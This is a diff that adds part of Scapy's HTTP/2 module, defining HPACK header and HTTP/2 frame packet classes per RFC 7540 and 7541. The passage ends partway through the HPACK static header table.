+    fields_desc = [
+        fields.BitEnumField('type', None, 1, {0: 'Literal', 1: 'Compressed'}),
+        FieldUVarLenField('len', None, 7, length_of='data'),
+        HPackStrLenField(
+            'data', HPackLiteralString(''),
+            length_from=lambda pkt: pkt.getfieldval('len'),
+            type_from='type'
+        )
+    ]
+
+    def guess_payload_class(self, payload):
+        # type: (str) -> base_classes.Packet_metaclass
+        # Trick to tell scapy that the remaining bytes of the currently
+        # dissected string is not a payload of this packet but of some other
+        # underlayer packet
+        return config.conf.padding_layer
+
+    def self_build(self, field_pos_list=None):
+        # type: (Any) -> str
+        """self_build is overridden because type and len are determined at
+        build time, based on the "data" field internal type
+        """
+        if self.getfieldval('type') is None:
+            self.type = 1 if isinstance(self.getfieldval('data'), HPackZString) else 0
+        return super(HPackHdrString, self).self_build(field_pos_list)
+
+
+class HPackHeaders(packet.Packet):
+    """HPackHeaders uses the "dispatch_hook" trick of Packet_metaclass to select
+    the correct HPack header packet type. For this, the first byte of the string
+    to dissect is snooped on.
+    """
+    @classmethod
+    def dispatch_hook(cls, s=None, *_args, **_kwds):
+        # type: (Optional[str], *Any, **Any) -> base_classes.Packet_metaclass
+        """dispatch_hook returns the subclass of HPackHeaders that must be used
+        to dissect the string.
+        """
+        if s is None:
+            return config.conf.raw_layer
+        fb = orb(s[0])
+        if fb & 0x80 != 0:
+            return HPackIndexedHdr
+        if fb & 0x40 != 0:
+            return HPackLitHdrFldWithIncrIndexing
+        if fb & 0x20 != 0:
+            return HPackDynamicSizeUpdate
+        return HPackLitHdrFldWithoutIndexing
+
+    def guess_payload_class(self, payload):
+        # type: (str) -> base_classes.Packet_metaclass
+        return config.conf.padding_layer
+
+
+class HPackIndexedHdr(HPackHeaders):
+    """ HPackIndexedHdr implements RFC 7541 par6.1
+    """
+    name = 'HPack Indexed Header Field'
+    fields_desc = [
+        HPackMagicBitField('magic', 1, 1),
+        UVarIntField('index', 2, 7)  # Default "2" is ":method GET"
+    ]
+
+
+class HPackLitHdrFldWithIncrIndexing(HPackHeaders):
+    """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.1
+    """
+    name = 'HPack Literal Header With Incremental Indexing'
+    fields_desc = [
+        HPackMagicBitField('magic', 1, 2),
+        UVarIntField('index', 0, 6),  # Default is New Name
+        fields.ConditionalField(
+            fields.PacketField('hdr_name', None, HPackHdrString),
+            lambda pkt: pkt.getfieldval('index') == 0
+        ),
+        fields.PacketField('hdr_value', None, HPackHdrString)
+    ]
+
+
+class HPackLitHdrFldWithoutIndexing(HPackHeaders):
+    """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.2
+    and par6.2.3
+    """
+    name = 'HPack Literal Header Without Indexing (or Never Indexing)'
+    fields_desc = [
+        HPackMagicBitField('magic', 0, 3),
+        fields.BitEnumField(
+            'never_index', 0, 1,
+            {0: "Don't Index", 1: 'Never Index'}
+        ),
+        UVarIntField('index', 0, 4),  # Default is New Name
+        fields.ConditionalField(
+            fields.PacketField('hdr_name', None, HPackHdrString),
+            lambda pkt: pkt.getfieldval('index') == 0
+        ),
+        fields.PacketField('hdr_value', None, HPackHdrString)
+    ]
+
+
+class HPackDynamicSizeUpdate(HPackHeaders):
+    """ HPackDynamicSizeUpdate implements RFC 7541 par6.3
+    """
+    name = 'HPack Dynamic Size Update'
+    fields_desc = [
+        HPackMagicBitField('magic', 1, 3),
+        UVarIntField('max_size', 0, 5)
+    ]
+
+########################################################################################################################
+############################################# HTTP/2 Frames ############################################################
+########################################################################################################################
+
+class H2FramePayload(packet.Packet):
+    """ H2FramePayload is an empty class that is a super class of all Scapy
+    HTTP/2 Frame Packets
+    """
+
+############################################# HTTP/2 Data Frame Packets ################################################
+
+class H2DataFrame(H2FramePayload):
+    """ H2DataFrame implements RFC7540 par6.1
+    This packet is the Data Frame to use when there is no padding.
+    """
+    type_id = 0
+    END_STREAM_FLAG = 0  # 0x1
+    PADDED_FLAG = 3  # 0x8
+    flags = {
+        END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'),
+        PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded')
+    }
+
+    name = 'HTTP/2 Data Frame'
+    fields_desc = [
+        fields.StrField('data', '')
+    ]
+
+
+class H2PaddedDataFrame(H2DataFrame):
+    """ H2DataFrame implements RFC7540 par6.1
+    This packet is the Data Frame to use when there is padding.
+    """
+    __slots__ = ['s_len']
+
+    name = 'HTTP/2 Padded Data Frame'
+    fields_desc = [
+        fields.FieldLenField('padlen', None, length_of='padding', fmt="B"),
+        fields.StrLenField('data', '',
+            length_from=lambda pkt: pkt.get_data_len()
+        ),
+        fields.StrLenField('padding', '',
+            length_from=lambda pkt: pkt.getfieldval('padlen')
+        )
+    ]
+
+    def get_data_len(self):
+        # type: () -> int
+        """ get_data_len computes the length of the data field
+
+        To do this computation, the length of the padlen field and the actual
+        padding is subtracted to the string that was provided to the pre_dissect
+        fun of the pkt parameter
+        @return int; length of the data part of the HTTP/2 frame packet provided as parameter
+        @raise AssertionError
+        """
+        padding_len = self.getfieldval('padlen')
+        fld, fval = self.getfield_and_val('padlen')
+        padding_len_len = fld.i2len(self, fval)
+
+        ret = self.s_len - padding_len_len - padding_len
+        assert(ret >= 0)
+        return ret
+
+    def pre_dissect(self, s):
+        # type: (str) -> str
+        """pre_dissect is filling the s_len property of this instance. This
+        property is later used during the getfield call of the "data" field when
+        trying to evaluate the length of the StrLenField! This "trick" works
+        because the underlayer packet (H2Frame) is assumed to override the
+        "extract_padding" method and to only provide to this packet the data
+        necessary for this packet. Tricky, tricky, will break some day probably!
+        """
+        self.s_len = len(s)
+        return s
+
+
+############################################# HTTP/2 Header Frame Packets ##############################################
+
+class H2AbstractHeadersFrame(H2FramePayload):
+    """Superclass of all variants of HTTP/2 Header Frame Packets.
+    May be used for type checking.
+    """
+
+class H2HeadersFrame(H2AbstractHeadersFrame):
+    """ H2HeadersFrame implements RFC 7540 par6.2 Headers Frame
+    when there is no padding and no priority informations
+
+    The choice of decomposing into four classes is probably preferable to having
+    numerous conditional fields based on the underlayer :/
+    """
+    type_id = 1
+    END_STREAM_FLAG = 0  # 0x1
+    END_HEADERS_FLAG = 2  # 0x4
+    PADDED_FLAG = 3  # 0x8
+    PRIORITY_FLAG = 5  # 0x20
+    flags = {
+        END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'),
+        END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'),
+        PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded'),
+        PRIORITY_FLAG: fields.MultiFlagsEntry('+', 'Priority')
+    }
+
+    name = 'HTTP/2 Headers Frame'
+    fields_desc = [
+        fields.PacketListField('hdrs', [], HPackHeaders)
+    ]
+
+
+class H2PaddedHeadersFrame(H2AbstractHeadersFrame):
+    """ H2PaddedHeadersFrame is the variant of H2HeadersFrame where padding flag
+    is set and priority flag is cleared
+    """
+    __slots__ = ['s_len']
+
+    name = 'HTTP/2 Headers Frame with Padding'
+    fields_desc = [
+        fields.FieldLenField('padlen', None, length_of='padding', fmt='B'),
+        fields.PacketListField('hdrs', [], HPackHeaders,
+            length_from=lambda pkt: pkt.get_hdrs_len()
+        ),
+        fields.StrLenField('padding', '',
+            length_from=lambda pkt: pkt.getfieldval('padlen')
+        )
+    ]
+
+    def get_hdrs_len(self):
+        # type: () -> int
+        """ get_hdrs_len computes the length of the hdrs field
+
+        To do this computation, the length of the padlen field and the actual
+        padding is subtracted to the string that was provided to the pre_dissect
+        fun of the pkt parameter.
+        @return int; length of the data part of the HTTP/2 frame packet provided as parameter
+        @raise AssertionError
+        """
+        padding_len = self.getfieldval('padlen')
+        fld, fval = self.getfield_and_val('padlen')
+        padding_len_len = fld.i2len(self, fval)
+
+        ret = self.s_len - padding_len_len - padding_len
+        assert(ret >= 0)
+        return ret
+
+    def pre_dissect(self, s):
+        # type: (str) -> str
+        """pre_dissect is filling the s_len property of this instance. This
+        property is later used during the parsing of the hdrs PacketListField
+        when trying to evaluate the length of the PacketListField! This "trick"
+        works because the underlayer packet (H2Frame) is assumed to override the
+        "extract_padding" method and to only provide to this packet the data
+        necessary for this packet. Tricky, tricky, will break some day probably!
+        """
+        self.s_len = len(s)
+        return s
+
+
+class H2PriorityHeadersFrame(H2AbstractHeadersFrame):
+    """ H2PriorityHeadersFrame is the variant of H2HeadersFrame where priority flag
+    is set and padding flag is cleared
+    """
+    __slots__ = ['s_len']
+
+    name = 'HTTP/2 Headers Frame with Priority'
+    fields_desc = [
+        fields.BitField('exclusive', 0, 1),
+        fields.BitField('stream_dependency', 0, 31),
+        fields.ByteField('weight', 0),
+        # This PacketListField will consume all remaining bytes; not a problem
+        # because the underlayer (H2Frame) overrides "extract_padding" so that
+        # this Packet only get to parser what it needs to
+        fields.PacketListField('hdrs', [], HPackHeaders),
+    ]
+
+
+class H2PaddedPriorityHeadersFrame(H2AbstractHeadersFrame):
+    """ H2PaddedPriorityHeadersFrame is the variant of H2HeadersFrame where
+    both priority and padding flags are set
+    """
+    __slots__ = ['s_len']
+
+    name = 'HTTP/2 Headers Frame with Padding and Priority'
+    fields_desc = [
+        fields.FieldLenField('padlen', None, length_of='padding', fmt='B'),
+        fields.BitField('exclusive', 0, 1),
+        fields.BitField('stream_dependency', 0, 31),
+        fields.ByteField('weight', 0),
+        fields.PacketListField('hdrs', [], HPackHeaders,
+            length_from=lambda pkt: pkt.get_hdrs_len()
+        ),
+        fields.StrLenField('padding', '',
+            length_from=lambda pkt: pkt.getfieldval('padlen')
+        )
+    ]
+
+    def get_hdrs_len(self):
+        # type: () -> int
+        """ get_hdrs_len computes the length of the hdrs field
+
+        To do this computation, the length of the padlen field, the priority
+        information fields and the actual padding is subtracted to the string
+        that was provided to the pre_dissect fun of the pkt parameter.
+        @return int: the length of the hdrs field
+        @raise AssertionError
+        """
+
+        padding_len = self.getfieldval('padlen')
+        fld, fval = self.getfield_and_val('padlen')
+        padding_len_len = fld.i2len(self, fval)
+        bit_cnt = self.get_field('exclusive').size
+        bit_cnt += self.get_field('stream_dependency').size
+        fld, fval = self.getfield_and_val('weight')
+        weight_len = fld.i2len(self, fval)
+        ret = int(self.s_len
+            - padding_len_len
+            - padding_len
+            - (bit_cnt / 8)
+            - weight_len
+        )
+        assert(ret >= 0)
+        return ret
+
+    def pre_dissect(self, s):
+        # type: (str) -> str
+        """pre_dissect is filling the s_len property of this instance. This
+        property is later used during the parsing of the hdrs PacketListField
+        when trying to evaluate the length of the PacketListField! This "trick"
+        works because the underlayer packet (H2Frame) is assumed to override the
+        "extract_padding" method and to only provide to this packet the data
+        necessary for this packet. Tricky, tricky, will break some day probably!
+        """
+        self.s_len = len(s)
+        return s
+
+########################################### HTTP/2 Priority Frame Packets ##############################################
+
+class H2PriorityFrame(H2FramePayload):
+    """ H2PriorityFrame implements RFC 7540 par6.3
+    """
+    type_id = 2
+    name = 'HTTP/2 Priority Frame'
+    fields_desc = [
+        fields.BitField('exclusive', 0, 1),
+        fields.BitField('stream_dependency', 0, 31),
+        fields.ByteField('weight', 0)
+    ]
+
+################################################# HTTP/2 Errors ########################################################
+
+class H2ErrorCodes(object):
+    """ H2ErrorCodes is an enumeration of the error codes defined in
+    RFC7540 par7.
+    This enumeration is not part of any frame because the error codes are in
+    common with H2ResetFrame and H2GoAwayFrame.
+    """
+
+    NO_ERROR = 0x0
+    PROTOCOL_ERROR = 0x1
+    INTERNAL_ERROR = 0x2
+    FLOW_CONTROL_ERROR = 0x3
+    SETTINGS_TIMEOUT = 0x4
+    STREAM_CLOSED = 0x5
+    FRAME_SIZE_ERROR = 0x6
+    REFUSED_STREAM = 0x7
+    CANCEL = 0x8
+    COMPRESSION_ERROR = 0x9
+    CONNECT_ERROR = 0xa
+    ENHANCE_YOUR_CALM = 0xb
+    INADEQUATE_SECURITY = 0xc
+    HTTP_1_1_REQUIRED = 0xd
+
+    literal = {
+        NO_ERROR: 'No error',
+        PROTOCOL_ERROR: 'Protocol error',
+        INTERNAL_ERROR: 'Internal error',
+        FLOW_CONTROL_ERROR: 'Flow control error',
+        SETTINGS_TIMEOUT: 'Settings timeout',
+        STREAM_CLOSED: 'Stream closed',
+        FRAME_SIZE_ERROR: 'Frame size error',
+        REFUSED_STREAM: 'Refused stream',
+        CANCEL: 'Cancel',
+        COMPRESSION_ERROR: 'Compression error',
+        CONNECT_ERROR: 'Control error',
+        ENHANCE_YOUR_CALM: 'Enhance your calm',
+        INADEQUATE_SECURITY: 'Inadequate security',
+        HTTP_1_1_REQUIRED: 'HTTP/1.1 required'
+    }
+
+
+########################################### HTTP/2 Reset Frame Packets #################################################
+
+class H2ResetFrame(H2FramePayload):
+    """ H2ResetFrame implements RFC 7540 par6.4
+    """
+    type_id = 3
+    name = 'HTTP/2 Reset Frame'
+    fields_desc = [
+        fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I')
+    ]
+
+
+########################################### HTTP/2 Settings Frame Packets ##############################################
+
+class H2Setting(packet.Packet):
+    """ H2Setting implements a setting, as defined in RFC7540 par6.5.1
+    """
+    SETTINGS_HEADER_TABLE_SIZE = 0x1
+    SETTINGS_ENABLE_PUSH = 0x2
+    SETTINGS_MAX_CONCURRENT_STREAMS = 0x3
+    SETTINGS_INITIAL_WINDOW_SIZE = 0x4
+    SETTINGS_MAX_FRAME_SIZE = 0x5
+    SETTINGS_MAX_HEADER_LIST_SIZE = 0x6
+
+    name = 'HTTP/2 Setting'
+    fields_desc = [
+        fields.EnumField('id', 0, {
+            SETTINGS_HEADER_TABLE_SIZE: 'Header table size',
+            SETTINGS_ENABLE_PUSH: 'Enable push',
+            SETTINGS_MAX_CONCURRENT_STREAMS: 'Max concurrent streams',
+            SETTINGS_INITIAL_WINDOW_SIZE: 'Initial window size',
+            SETTINGS_MAX_FRAME_SIZE: 'Max frame size',
+            SETTINGS_MAX_HEADER_LIST_SIZE: 'Max header list size'
+        }, fmt='!H'),
+        fields.IntField('value', 0)
+    ]
+
+    def guess_payload_class(self, payload):
+        # type: (str) -> base_classes.Packet_metaclass
+        return config.conf.padding_layer
+
+
+class H2SettingsFrame(H2FramePayload):
+    """ H2SettingsFrame implements RFC7540 par6.5
+    """
+    type_id = 4
+    ACK_FLAG = 0  # 0x1
+    flags = {
+        ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK')
+    }
+
+    name = 'HTTP/2 Settings Frame'
+    fields_desc = [
+        fields.PacketListField('settings', [], H2Setting)
+    ]
+
+    def __init__(self, *args, **kwargs):
+        """__init__ initializes this H2SettingsFrame
+
+        If a _pkt arg is provided (by keyword), then this is an initialization
+        from a string to dissect and therefore the length of the string to
+        dissect have distinctive characteristics that we might want to check.
+        This is possible because the underlayer packet (H2Frame) overrides
+        extract_padding method to provided only the string that must be parsed
+        by this packet!
+        @raise AssertionError
+        """
+
+        # RFC7540 par6.5 p36
+        assert(
+            len(args) == 0 or (
+                isinstance(args[0], bytes)
+                and len(args[0]) % 6 == 0
+            )
+        ), 'Invalid settings frame; length is not a multiple of 6'
+        super(H2SettingsFrame, self).__init__(*args, **kwargs)
+
+######################################## HTTP/2 Push Promise Frame Packets #############################################
+
+class H2PushPromiseFrame(H2FramePayload):
+    """ H2PushPromiseFrame implements RFC7540 par6.6. This packet
+    is the variant to use when the underlayer padding flag is cleared
+    """
+    type_id = 5
+    END_HEADERS_FLAG = 2  # 0x4
+    PADDED_FLAG = 3  # 0x8
+    flags = {
+        END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'),
+        PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded')
+    }
+
+    name = 'HTTP/2 Push Promise Frame'
+    fields_desc = [
+        fields.BitField('reserved', 0, 1),
+        fields.BitField('stream_id', 0, 31),
+        fields.PacketListField('hdrs', [], HPackHeaders)
+    ]
+
+
+class H2PaddedPushPromiseFrame(H2PushPromiseFrame):
+    """ H2PaddedPushPromiseFrame implements RFC7540 par6.6. This
+    packet is the variant to use when the underlayer padding flag is set
+    """
+    __slots__ = ['s_len']
+
+    name = 'HTTP/2 Padded Push Promise Frame'
+    fields_desc = [
+        fields.FieldLenField('padlen', None, length_of='padding', fmt='B'),
+        fields.BitField('reserved', 0, 1),
+        fields.BitField('stream_id', 0, 31),
+        fields.PacketListField('hdrs', [], HPackHeaders,
+            length_from=lambda pkt: pkt.get_hdrs_len()
+        ),
+        fields.StrLenField('padding', '',
+            length_from=lambda pkt: pkt.getfieldval('padlen')
+        )
+    ]
+
+    def get_hdrs_len(self):
+        # type: () -> int
+        """ get_hdrs_len computes the length of the hdrs field
+
+        To do this computation, the length of the padlen field, reserved,
+        stream_id and the actual padding is subtracted to the string that was
+        provided to the pre_dissect fun of the pkt parameter.
+        @return int: the length of the hdrs field
+        @raise AssertionError
+        """
+        fld, padding_len = self.getfield_and_val('padlen')
+        padding_len_len = fld.i2len(self, padding_len)
+        bit_len = self.get_field('reserved').size
+        bit_len += self.get_field('stream_id').size
+
+        ret = int(self.s_len
+            - padding_len_len
+            - padding_len
+            - (bit_len / 8)
+        )
+        assert(ret >= 0)
+        return ret
+
+    def pre_dissect(self, s):
+        # type: (str) -> str
+        """pre_dissect is filling the s_len property of this instance. This
+        property is later used during the parsing of the hdrs PacketListField
+        when trying to evaluate the length of the PacketListField! This "trick"
+        works because the underlayer packet (H2Frame) is assumed to override the
+        "extract_padding" method and to only provide to this packet the data
+        necessary for this packet. Tricky, tricky, will break some day probably!
+        """
+        self.s_len = len(s)
+        return s
+
+############################################### HTTP/2 Ping Frame Packets ##############################################
+
+class H2PingFrame(H2FramePayload):
+    """ H2PingFrame implements the RFC 7540 par6.7
+    """
+    type_id = 6
+    ACK_FLAG = 0  # 0x1
+    flags = {
+        ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK')
+    }
+
+    name = 'HTTP/2 Ping Frame'
+    fields_desc = [
+        fields.LongField('opaque', 0)
+    ]
+
+    def __init__(self, *args, **kwargs):
+        """
+        @raise AssertionError
+        """
+        # RFC7540 par6.7 p42
+        assert(
+            len(args) == 0 or (
+                (isinstance(args[0], bytes) or
+                isinstance(args[0], str))
+                and len(args[0]) == 8
+            )
+        ), 'Invalid ping frame; length is not 8'
+        super(H2PingFrame, self).__init__(*args, **kwargs)
+
+
+############################################# HTTP/2 GoAway Frame Packets ##############################################
+
+class H2GoAwayFrame(H2FramePayload):
+    """ H2GoAwayFrame implements the RFC 7540 par6.8
+    """
+    type_id = 7
+
+    name = 'HTTP/2 Go Away Frame'
+    fields_desc = [
+        fields.BitField('reserved', 0, 1),
+        fields.BitField('last_stream_id', 0, 31),
+        fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I'),
+        fields.StrField('additional_data', '')
+    ]
+
+###################################### HTTP/2 Window Update Frame Packets ##############################################
+
+class H2WindowUpdateFrame(H2FramePayload):
+    """ H2WindowUpdateFrame implements the RFC 7540 par6.9
+    """
+    type_id = 8
+
+    name = 'HTTP/2 Window Update Frame'
+    fields_desc = [
+        fields.BitField('reserved', 0, 1),
+        fields.BitField('win_size_incr', 0, 31)
+    ]
+
+    def __init__(self, *args, **kwargs):
+        """
+        @raise AssertionError
+        """
+        # RFC7540 par6.9 p46
+        assert(
+            len(args) == 0 or (
+                (isinstance(args[0], bytes) or
+                isinstance(args[0], str))
+                and len(args[0]) == 4
+            )
+        ), 'Invalid window update frame; length is not 4'
+        super(H2WindowUpdateFrame, self).__init__(*args, **kwargs)
+
+####################################### HTTP/2 Continuation Frame Packets ##############################################
+
+class H2ContinuationFrame(H2FramePayload):
+    """ H2ContinuationFrame implements the RFC 7540 par6.10
+    """
+    type_id = 9
+    END_HEADERS_FLAG = 2  # Ox4
+    flags = {
+        END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers')
+    }
+
+    name = 'HTTP/2 Continuation Frame'
+    fields_desc = [
+        fields.PacketListField('hdrs', [], HPackHeaders)
+    ]
+
+########################################## HTTP/2 Base Frame Packets ###################################################
+
+class H2Frame(packet.Packet):
+    """ H2Frame implements the frame structure as defined in RFC 7540 par4.1
+
+    This packet may have a payload (one of the H2FramePayload) or none, in some
+    rare cases such as settings acknowledgement)
+    """
+    name = 'HTTP/2 Frame'
+    fields_desc = [
+        fields.X3BytesField('len', None),
+        fields.EnumField('type', None, {
+            0: 'DataFrm',
+            1: 'HdrsFrm',
+            2: 'PrioFrm',
+            3: 'RstFrm',
+            4: 'SetFrm',
+            5: 'PushFrm',
+            6: 'PingFrm',
+            7: 'GoawayFrm',
+            8: 'WinFrm',
+            9: 'ContFrm'
+        }, "b"),
+        fields.MultiFlagsField('flags', set(), 8, {
+                H2DataFrame.type_id: H2DataFrame.flags,
+                H2HeadersFrame.type_id: H2HeadersFrame.flags,
+                H2PushPromiseFrame.type_id: H2PushPromiseFrame.flags,
+                H2SettingsFrame.type_id: H2SettingsFrame.flags,
+                H2PingFrame.type_id: H2PingFrame.flags,
+                H2ContinuationFrame.type_id: H2ContinuationFrame.flags,
+            },
+            depends_on=lambda pkt: pkt.getfieldval('type')
+        ),
+        fields.BitField('reserved', 0, 1),
+        fields.BitField('stream_id', 0, 31)
+    ]
+
+    def guess_payload_class(self, payload):
+        # type: (str) -> base_classes.Packet_metaclass
+        """ guess_payload_class returns the Class object to use for parsing a payload
+        This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be
+        performed using the simple bind_layers helper because sometimes the selection of which Class object to return
+        also depends on the H2Frame.flags value.
+
+        @param payload:
+        @return:
+        """
+        if len(payload) == 0:
+            return packet.NoPayload
+
+        t = self.getfieldval('type')
+        if t == H2DataFrame.type_id:
+            if H2DataFrame.flags[H2DataFrame.PADDED_FLAG].short in self.getfieldval('flags'):
+                return H2PaddedDataFrame
+            return H2DataFrame
+
+        if t == H2HeadersFrame.type_id:
+            if H2HeadersFrame.flags[H2HeadersFrame.PADDED_FLAG].short in self.getfieldval('flags'):
+                if H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'):
+                    return H2PaddedPriorityHeadersFrame
+                else:
+                    return H2PaddedHeadersFrame
+            elif H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'):
+                    return H2PriorityHeadersFrame
+            return H2HeadersFrame
+
+        if t == H2PriorityFrame.type_id:
+            return H2PriorityFrame
+
+        if t == H2ResetFrame.type_id:
+            return H2ResetFrame
+
+        if t == H2SettingsFrame.type_id:
+            return H2SettingsFrame
+
+        if t == H2PushPromiseFrame.type_id:
+            if H2PushPromiseFrame.flags[H2PushPromiseFrame.PADDED_FLAG].short in self.getfieldval('flags'):
+                return H2PaddedPushPromiseFrame
+            return H2PushPromiseFrame
+
+        if t == H2PingFrame.type_id:
+            return H2PingFrame
+
+        if t == H2GoAwayFrame.type_id:
+            return H2GoAwayFrame
+
+        if t == H2WindowUpdateFrame.type_id:
+            return H2WindowUpdateFrame
+
+        if t == H2ContinuationFrame.type_id:
+            return H2ContinuationFrame
+
+        return config.conf.padding_layer
+
+    def extract_padding(self, s):
+        # type: (str) -> Tuple[str, str]
+        """
+        @param str s: the string from which to tell the padding and the payload data apart
+        @return (str, str): the padding and the payload data strings
+        @raise AssertionError
+        """
+        assert isinstance(self.len, six.integer_types) and self.len >= 0, 'Invalid length: negative len?'
+        assert len(s) >= self.len, 'Invalid length: string too short for this length'
+        return s[:self.len], s[self.len:]
+
+    def post_build(self, p, pay):
+        # type: (str, str) -> str
+        """
+        @param str p: the stringified packet
+        @param str pay: the stringified payload
+        @return str: the stringified packet and payload, with the packet length field "patched"
+        @raise AssertionError
+        """
+        # This logic, while awkward in the post_build and more reasonable in
+        # a self_build is implemented here for performance tricks reason
+        if self.getfieldval('len') is None:
+            assert(len(pay) < (1 << 24)), 'Invalid length: payload is too long'
+            p = struct.pack('!L', len(pay))[1:] + p[3:]
+        return super(H2Frame, self).post_build(p, pay)
+
+class H2Seq(packet.Packet):
+    """ H2Seq is a helper packet that contains several H2Frames and their
+    payload. This packet can be used, for instance, while reading manually from
+    a TCP socket.
+    """
+    name = 'HTTP/2 Frame Sequence'
+    fields_desc = [
+        fields.PacketListField('frames', [], H2Frame)
+    ]
+
+    def guess_payload_class(self, payload):
+        # type: (str) -> base_classes.Packet_metaclass
+        return config.conf.padding_layer
+
+
+packet.bind_layers(H2Frame, H2DataFrame, {'type': H2DataFrame.type_id})
+packet.bind_layers(H2Frame, H2PaddedDataFrame, {'type': H2DataFrame.type_id})
+packet.bind_layers(H2Frame, H2HeadersFrame, {'type': H2HeadersFrame.type_id})
+packet.bind_layers(H2Frame, H2PaddedHeadersFrame, {'type': H2HeadersFrame.type_id})
+packet.bind_layers(H2Frame, H2PriorityHeadersFrame, {'type': H2HeadersFrame.type_id})
+packet.bind_layers(H2Frame, H2PaddedPriorityHeadersFrame, {'type': H2HeadersFrame.type_id})
+packet.bind_layers(H2Frame, H2PriorityFrame, {'type': H2PriorityFrame.type_id})
+packet.bind_layers(H2Frame, H2ResetFrame, {'type': H2ResetFrame.type_id})
+packet.bind_layers(H2Frame, H2SettingsFrame, {'type': H2SettingsFrame.type_id})
+packet.bind_layers(H2Frame, H2PingFrame, {'type': H2PingFrame.type_id})
+packet.bind_layers(H2Frame, H2PushPromiseFrame, {'type': H2PushPromiseFrame.type_id})
+packet.bind_layers(H2Frame, H2PaddedPushPromiseFrame, {'type': H2PaddedPushPromiseFrame.type_id})
+packet.bind_layers(H2Frame, H2GoAwayFrame, {'type': H2GoAwayFrame.type_id})
+packet.bind_layers(H2Frame, H2WindowUpdateFrame, {'type': H2WindowUpdateFrame.type_id})
+packet.bind_layers(H2Frame, H2ContinuationFrame, {'type': H2ContinuationFrame.type_id})
+
+
+########################################## HTTP/2 Connection Preface ###################################################
+# From RFC 7540 par3.5
+H2_CLIENT_CONNECTION_PREFACE = bytes_hex('505249202a20485454502f322e300d0a0d0a534d0d0a0d0a')
+
+
+########################################################################################################################
+################################################### HTTP/2 Helpers #####################################################
+########################################################################################################################
+
+class HPackHdrEntry(Sized):
+    """ HPackHdrEntry is an entry of the HPackHdrTable helper
+
+    Each HPackHdrEntry instance is a header line (name and value). Names are
+    normalized (lowercased), according to RFC 7540 par8.1.2
+    """
+    __slots__ = ['_name', '_len', '_value']
+
+    def __init__(self, name, value):
+        # type: (str, str) -> None
+        """
+        @raise AssertionError
+        """
+        assert(len(name) > 0)
+
+        self._name = name.lower()
+        self._value = value
+
+        # 32 bytes is an RFC-hardcoded value: see RFC 7541 par4.1
+        self._len = (32 + len(self._name) + len(self._value))
+
+    def name(self):
+        # type: () -> str
+        return self._name
+
+    def value(self):
+        # type: () -> str
+        return self._value
+
+    def size(self):
+        # type: () -> int
+        """ size returns the "length" of the header entry, as defined in
+        RFC 7541 par4.1.
+        """
+        return self._len
+
+    __len__ = size
+
+    def __str__(self):
+        # type: () -> str
+        """ __str__ returns the header as it would be formated in textual format
+        """
+        if self._name.startswith(':'):
+            return "{} {}".format(self._name, self._value)
+        else:
+            return "{}: {}".format(self._name, self._value)
+    def __bytes__(self):
+        return raw(self.__str__())
+
+
+class HPackHdrTable(Sized):
+    """ HPackHdrTable is a helper class that implements some of the logic
+    associated with indexing of headers (read and write operations in this
+    "registry". THe HPackHdrTable also implements convenience functions to easily
+    convert to and from textual representation and binary representation of
+    a HTTP/2 requests
+    """
+    __slots__ = [
+        '_dynamic_table',
+        '_dynamic_table_max_size',
+        '_dynamic_table_cap_size',
+        '_regexp'
+    ]
+    """:var _dynamic_table: the list containing entries requested to be added by
+    the peer and registered with a register() call
+    :var _dynamic_table_max_size: the current maximum size of the dynamic table
+    in bytes. This value is updated with the Dynamic Table Size Update messages
+    defined in RFC 7541 par6.3
+    :var _dynamic_table_cap_size: the maximum size of the dynamic table in
+    bytes. This value is updated with the SETTINGS_HEADER_TABLE_SIZE HTTP/2
+    setting.
+    """
+
+    # Manually imported from RFC 7541 Appendix A
+    _static_entries = {
+        1: HPackHdrEntry(':authority', ''),
+        2: HPackHdrEntry(':method', 'GET'),
+        3: HPackHdrEntry(':method', 'POST'),
+        4: HPackHdrEntry(':path', '/'),
+        5: HPackHdrEntry(':path', '/index.html'),
+        6: HPackHdrEntry(':scheme', 'http'),
+        7: HPackHdrEntry(':scheme', 'https'),
+        8: HPackHdrEntry(':status', '200'),
+        9: HPackHdrEntry(':status', '204'),
+        10: HPackHdrEntry(':status', '206'),
+        11: HPackHdrEntry(':status', '304'),
+        12: HPackHdrEntry(':status', '400'),
+        13: HPackHdrEntry(':status', '404'),
+        14: HPackHdrEntry(':status', '500'),
+        15: HPackHdrEntry('accept-charset', ''),
+        16: HPackHdrEntry('accept-encoding', 'gzip, deflate'),
+        17: HPackHdrEntry('accept-language', ''),
+        18: HPackHdrEntry('accept-ranges', ''),
+        19: HPackHdrEntry('accept', ''),
+        20: HPackHdrEntry('access-control-allow-origin', ''),
+        21: HPackHdrEntry('age', ''),
+        22: HPackHdrEntry('allow', ''),
+        23: HPackHdrEntry('authorization', ''),
+        24: HPackHdrEntry('cache-control', ''),
+        25: HPackHdrEntry('content-disposition', ''),
+        26: HPackHdrEntry('content-encoding', ''),
+        27: HPackHdrEntry('content-language', ''),
+        28: HPackHdrEntry('content-length', ''),
+        29: HPackHdrEntry('content-location', ''),
+        30: HPackHdrEntry('content-range', ''),
+        31: HPackHdrEntry('content-type', ''),
+        32: HPackHdrEntry('cookie', ''),
+        33: HPackHdrEntry('date', ''),
+        34: HPackHdrEntry('etag', ''),
+        35: HPackHdrEntry('expect', ''),
+        36: HPackHdrEntry('expires', ''),
+        37: HPackHdrEntry('from', ''),
+        38: HPackHdrEntry('host', ''),
+        39: HPackHdrEntry('if-match', ''),
+        40: HPackHdrEntry('if-modified-since', ''),
